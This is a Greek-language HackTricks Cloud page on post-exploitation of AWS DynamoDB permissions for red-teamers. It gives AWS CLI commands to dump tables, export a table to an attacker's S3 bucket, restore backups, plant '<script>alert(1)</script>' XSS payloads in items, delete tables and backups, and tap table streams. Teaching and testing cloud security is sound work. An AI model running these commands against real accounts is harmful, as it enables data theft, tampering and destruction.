Μάθετε το hacking του AWS από το μηδέν μέχρι τον ήρωα με το htARTE (HackTricks AWS Red Team Expert)!
Άλλοι τρόποι για να υποστηρίξετε το HackTricks:
- Εάν θέλετε να δείτε την εταιρεία σας να διαφημίζεται στο HackTricks ή να κατεβάσετε το HackTricks σε μορφή PDF ελέγξτε τα ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ!
- Αποκτήστε το επίσημο PEASS & HackTricks swag
- Ανακαλύψτε την Οικογένεια PEASS, τη συλλογή μας από αποκλειστικά NFTs
- Εγγραφείτε στην 💬 ομάδα Discord ή στην ομάδα telegram ή ακολουθήστε μας στο Twitter 🐦 @hacktricks_live.
- Μοιραστείτε τα hacking tricks σας υποβάλλοντας PRs στα HackTricks και HackTricks Cloud αποθετήρια του github.
Για περισσότερες πληροφορίες, ελέγξτε:
{% content-ref url="../aws-services/aws-dynamodb-enum.md" %} aws-dynamodb-enum.md {% endcontent-ref %}
Ένας επιτιθέμενος με αυτές τις άδειες θα μπορεί να πάρει στοιχεία από πίνακες με βάση τον πρωτεύον κλειδί (δεν μπορείτε απλά να ζητήσετε όλα τα δεδομένα του πίνακα). Αυτό σημαίνει ότι πρέπει να γνωρίζετε τα πρωτεύοντα κλειδιά (μπορείτε να τα πάρετε αυτά παίρνοντας τα μεταδεδομένα του πίνακα (describe-table
).
{% tabs %} {% tab title="json file" %} {% code overflow="wrap" %}
aws dynamodb batch-get-item --request-items file:///tmp/a.json
// With a.json
{
"ProductCatalog" : { // This is the table name
"Keys": [
{
"Id" : { // Primary keys name
"N": "205" // Value to search for, you could put here entries from 1 to 1000 to dump all those
}
}
]
}
}
{% endcode %} {% endtab %}
{% tab title="inline" %} {% code overflow="wrap" %}
aws dynamodb batch-get-item \
--request-items '{"TargetTable": {"Keys": [{"Id": {"S": "item1"}}, {"Id": {"S": "item2"}}]}}' \
--region <region>
{% endcode %} {% endtab %} {% endtabs %}
Πιθανές Επιπτώσεις: Έμμεση αύξηση προνομίων με τον εντοπισμό ευαίσθητων πληροφοριών στον πίνακα
Όμοια με τα προηγούμενα δικαιώματα, αυτό επιτρέπει σε έναν πιθανό επιτιθέμενο να διαβάσει τιμές από έναν μόνο πίνακα δεδομένων, δίνοντας τον πρωτεύον κλειδί της καταχώρησης που θέλει να ανακτήσει:
{% code overflow="wrap" %}
aws dynamodb get-item --table-name ProductCatalog --key file:///tmp/a.json
// With a.json
{
"Id" : {
"N": "205"
}
}
{% endcode %}
Με αυτήν την άδεια είναι επίσης δυνατή η χρήση της μεθόδου transact-get-items
όπως:
aws dynamodb transact-get-items \
--transact-items file:///tmp/a.json
// With a.json
[
{
"Get": {
"Key": {
"Id": {"N": "205"}
},
"TableName": "ProductCatalog"
}
}
]
Πιθανές Επιπτώσεις: Έμμεση αύξηση προνομιακών δικαιωμάτων με τον εντοπισμό ευαίσθητων πληροφοριών στον πίνακα
Παρόμοια με τα προηγούμενα δικαιώματα, αυτό επιτρέπει σε έναν πιθανό επιτιθέμενο να διαβάσει τιμές από μόνο έναν πίνακα, δεδομένου του πρωτεύοντος κλειδιού της καταχώρησης που θέλει να ανακτήσει. Επιτρέπει τη χρήση ενός υποσυνόλου συγκρίσεων, αλλά η μόνη επιτρεπτή σύγκριση με το πρωτεύον κλειδί (που πρέπει να υπάρχει) είναι "EQ", οπότε δεν μπορείτε να χρησιμοποιήσετε μια σύγκριση για να ανακτήσετε ολόκληρη τη βάση δεδομένων σε μία αίτηση.
{% tabs %} {% tab title="αρχείο json" %} {% code overflow="wrap" %}
aws dynamodb query --table-name ProductCatalog --key-conditions file:///tmp/a.json
// With a.json
{
"Id" : {
"ComparisonOperator":"EQ",
"AttributeValueList": [ {"N": "205"} ]
}
}
{% endcode %} {% endtab %}
{% tab title="inline" %}
aws dynamodb query \
--table-name TargetTable \
--key-condition-expression "AttributeName = :value" \
--expression-attribute-values '{":value":{"S":"TargetValue"}}' \
--region <region>
{% endtab %} {% endtabs %}
Πιθανές Επιπτώσεις: Έμμεση αύξηση προνομιακών δικαιωμάτων με τον εντοπισμό ευαίσθητων πληροφοριών στον πίνακα
Μπορείτε να χρησιμοποιήσετε αυτήν την άδεια για να αντιγράψετε εύκολα ολόκληρο τον πίνακα.
aws dynamodb scan --table-name <t_name> #Get data inside the table
Πιθανές Επιπτώσεις: Έμμεση αύξηση προνομιακών δικαιωμάτων με τον εντοπισμό ευαίσθητων πληροφοριών στον πίνακα
Μπορείτε να χρησιμοποιήσετε αυτήν την άδεια για να αντιγράψετε εύκολα ολόκληρο τον πίνακα.
aws dynamodb execute-statement \
--statement "SELECT * FROM ProductCatalog"
Αυτή η άδεια επιτρέπει επίσης την εκτέλεση batch-execute-statement
όπως:
aws dynamodb batch-execute-statement \
--statements '[{"Statement": "SELECT * FROM ProductCatalog WHERE Id = 204"}]'
αλλά πρέπει να καθορίσετε τον πρωτεύον κλειδί με μια τιμή, οπότε δεν είναι τόσο χρήσιμο.
Πιθανές Επιπτώσεις: Έμμεση αύξηση προνομιακών δικαιωμάτων με τον εντοπισμό ευαίσθητων πληροφοριών στον πίνακα
Αυτή η άδεια θα επιτρέψει σε έναν επιτιθέμενο να εξάγει ολόκληρο τον πίνακα σε ένα S3 bucket της επιλογής του:
aws dynamodb export-table-to-point-in-time \
--table-arn arn:aws:dynamodb:<region>:<account-id>:table/TargetTable \
--s3-bucket <attacker_s3_bucket> \
--s3-prefix <optional_prefix> \
--export-time <point_in_time> \
--region <region>
Σημείωση ότι για να λειτουργήσει αυτό, ο πίνακας πρέπει να έχει ενεργοποιημένη την ανάκτηση σε συγκεκριμένο χρονικό σημείο. Μπορείτε να ελέγξετε αν ο πίνακας το έχει με την εντολή:
aws dynamodb describe-continuous-backups \
--table-name <tablename>
Εάν δεν είναι ενεργοποιημένο, θα χρειαστεί να το ενεργοποιήσετε και για αυτό χρειάζεστε την άδεια dynamodb:ExportTableToPointInTime
:
aws dynamodb update-continuous-backups \
--table-name <value> \
--point-in-time-recovery-specification PointInTimeRecoveryEnabled=true
Πιθανές Επιπτώσεις: Έμμεση αύξηση προνομιακών δικαιωμάτων με τον εντοπισμό ευαίσθητων πληροφοριών στον πίνακα
Με αυτές τις άδειες, ένας επιτιθέμενος θα μπορούσε να δημιουργήσει έναν νέο πίνακα από ένα αντίγραφο ασφαλείας (ή ακόμα και να δημιουργήσει ένα αντίγραφο ασφαλείας για να το ανακτήσει σε έναν διαφορετικό πίνακα). Στη συνέχεια, με τις απαραίτητες άδειες, θα μπορούσε να ελέγξει πληροφορίες από τα αντίγραφα ασφαλείας που δεν θα μπορούσαν να υπάρχουν πλέον στον παραγωγικό πίνακα.
aws dynamodb restore-table-from-backup \
--backup-arn <source-backup-arn> \
--target-table-name <new-table-name> \
--region <region>
Πιθανές Επιπτώσεις: Έμμεση αύξηση προνομιακών δικαιωμάτων με τον εντοπισμό ευαίσθητων πληροφοριών στο αντίγραφο ασφαλείας του πίνακα
Αυτή η άδεια επιτρέπει στους χρήστες να προσθέτουν ένα νέο στοιχείο στον πίνακα ή να αντικαθιστούν ένα υπάρχον στοιχείο με ένα νέο στοιχείο. Εάν υπάρχει ήδη ένα στοιχείο με τον ίδιο πρωτεύον κλειδί, το σύνολο του στοιχείου θα αντικατασταθεί με το νέο στοιχείο. Εάν το πρωτεύον κλειδί δεν υπάρχει, θα δημιουργηθεί ένα νέο στοιχείο με το καθορισμένο πρωτεύον κλειδί.
{% tabs %} {% tab title="Παράδειγμα XSS" %} {% code overflow="wrap" %}
## Create new item with XSS payload
aws dynamodb put-item --table <table_name> --item file://add.json
### With add.json:
{
"Id": {
"S": "1000"
},
"Name": {
"S": "Marc"
},
"Description": {
"S": "<script>alert(1)</script>"
}
}
{% endcode %} {% endtab %}
{% tab title="Greek Translation" %}
aws dynamodb put-item \
--table-name ExampleTable \
--item '{"Id": {"S": "1"}, "Attribute1": {"S": "Value1"}, "Attribute2": {"S": "Value2"}}' \
--region <region>
{% endtab %} {% endtabs %}
Πιθανές Επιπτώσεις: Εκμετάλλευση περαιτέρω ευπαθειών/παρακαμπτήριων μέσω της δυνατότητας προσθήκης/τροποποίησης δεδομένων σε έναν πίνακα DynamoDB
Αυτή η άδεια επιτρέπει στους χρήστες να τροποποιούν τα υπάρχοντα χαρακτηριστικά ενός στοιχείου ή να προσθέτουν νέα χαρακτηριστικά σε ένα στοιχείο. Δεν αντικαθιστά ολόκληρο το στοιχείο, αλλά ενημερώνει μόνο τα συγκεκριμένα χαρακτηριστικά. Εάν ο πρωτεύον κλειδί δεν υπάρχει στον πίνακα, η λειτουργία θα δημιουργήσει ένα νέο στοιχείο με το καθορισμένο πρωτεύον κλειδί και θα ορίσει τα χαρακτηριστικά που καθορίζονται στην έκφραση ενημέρωσης.
## Update item with XSS payload
aws dynamodb update-item --table <table_name> \
--key file://key.json --update-expression "SET Description = :value" \
--expression-attribute-values file://val.json
### With key.json:
{
"Id": {
"S": "1000"
}
}
### and val.json
{
":value": {
"S": "<script>alert(1)</script>"
}
}
aws dynamodb update-item \
--table-name ExampleTable \
--key '{"Id": {"S": "1"}}' \
--update-expression "SET Attribute1 = :val1, Attribute2 = :val2" \
--expression-attribute-values '{":val1": {"S": "NewValue1"}, ":val2": {"S": "NewValue2"}}' \
--region <region>
Πιθανές Επιπτώσεις: Εκμετάλλευση περαιτέρω ευπαθειών/παρακάμψεων με τη δυνατότητα προσθήκης/τροποποίησης δεδομένων σε έναν πίνακα DynamoDB
Ένας επιτιθέμενος με αυτήν την άδεια μπορεί να διαγράψει έναν πίνακα DynamoDB, προκαλώντας απώλεια δεδομένων.
aws dynamodb delete-table \
--table-name TargetTable \
--region <region>
Πιθανές επιπτώσεις: Απώλεια δεδομένων και διακοπή υπηρεσιών που εξαρτώνται από τον διαγραμμένο πίνακα.
Ένας επιτιθέμενος με αυτήν την άδεια μπορεί να διαγράψει ένα αντίγραφο ασφαλείας του DynamoDB, προκαλώντας πιθανή απώλεια δεδομένων σε περίπτωση ανάκτησης μετά από καταστροφή.
aws dynamodb delete-backup \
--backup-arn arn:aws:dynamodb:<region>:<account-id>:table/TargetTable/backup/BACKUP_ID \
--region <region>
Πιθανές επιπτώσεις: Απώλεια δεδομένων και αδυναμία ανάκτησης από αντίγραφο ασφαλείας κατά τη διάρκεια μιας διαδικασίας ανάκτησης μετά από καταστροφή.
dynamodb:StreamSpecification
, dynamodb:UpdateTable
, dynamodb:DescribeStream
, dynamodb:GetShardIterator
, dynamodb:GetRecords
{% hint style="info" %} ΕΡΓΑΣΙΕΣ: Δοκιμάστε αν αυτό πράγματι λειτουργεί {% endhint %}
Ένας επιτιθέμενος με αυτές τις άδειες μπορεί να ενεργοποιήσει ένα ρεύμα σε έναν πίνακα DynamoDB, να ενημερώσει τον πίνακα για να αρχίσει να ρέει αλλαγές και στη συνέχεια να έχει πρόσβαση στο ρεύμα για να παρακολουθεί αλλαγές στον πίνακα σε πραγματικό χρόνο. Αυτό επιτρέπει στον επιτιθέμενο να παρακολουθεί και να εξαγάγει αλλαγές δεδομένων, με πιθανή διαρροή δεδομένων.
- Ενεργοποίηση ροής σε έναν πίνακα DynamoDB:
bashCopy codeaws dynamodb update-table \
--table-name TargetTable \
--stream-specification StreamEnabled=true,StreamViewType=NEW_AND_OLD_IMAGES \
--region <region>
- Περιγράψτε τη ροή για να αποκτήσετε το ARN και άλλες λεπτομέρειες:
bashCopy codeaws dynamodb describe-stream \
--table-name TargetTable \
--region <region>
- Λάβετε τον δείκτη του shard χρησιμοποιώντας το ARN της ροής:
bashCopy codeaws dynamodbstreams get-shard-iterator \
--stream-arn <stream_arn> \
--shard-id <shard_id> \
--shard-iterator-type LATEST \
--region <region>
- Χρησιμοποιήστε τον δείκτη του shard για να αποκτήσετε πρόσβαση και να εξαγάγετε δεδομένα από τη ροή:
bashCopy codeaws dynamodbstreams get-records \
--shard-iterator <shard_iterator> \
--region <region>
Πιθανές επιπτώσεις: Πραγματικού χρόνου παρακολούθηση και διαρροή δεδομένων των αλλαγών στον πίνακα DynamoDB.
Μάθετε το hacking του AWS από το μηδέν μέχρι τον ήρωα με το htARTE (HackTricks AWS Red Team Expert)!
Άλλοι τρόποι για να υποστηρίξετε το HackTricks:
- Εάν θέλετε να δείτε την εταιρεία σας να διαφημίζεται στο HackTricks ή να κατεβάσετε το HackTricks σε μορφή PDF, ελέγξτε τα ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ!
- Αποκτήστε το επίσημο PEASS & HackTricks swag
- Ανακαλύψτε την Οικογένεια PEASS, τη συλλογή μας από αποκλειστικά NFTs
- Εγγραφείτε στη 💬 ομάδα Discord ή στη ομάδα telegram ή ακολουθήστε μας στο Twitter 🐦 @hacktricks_live.
- Μοιραστείτε τα κόλπα σας για το hacking υποβάλλοντας PRs στα HackTricks και HackTricks Cloud αποθετήρια του github.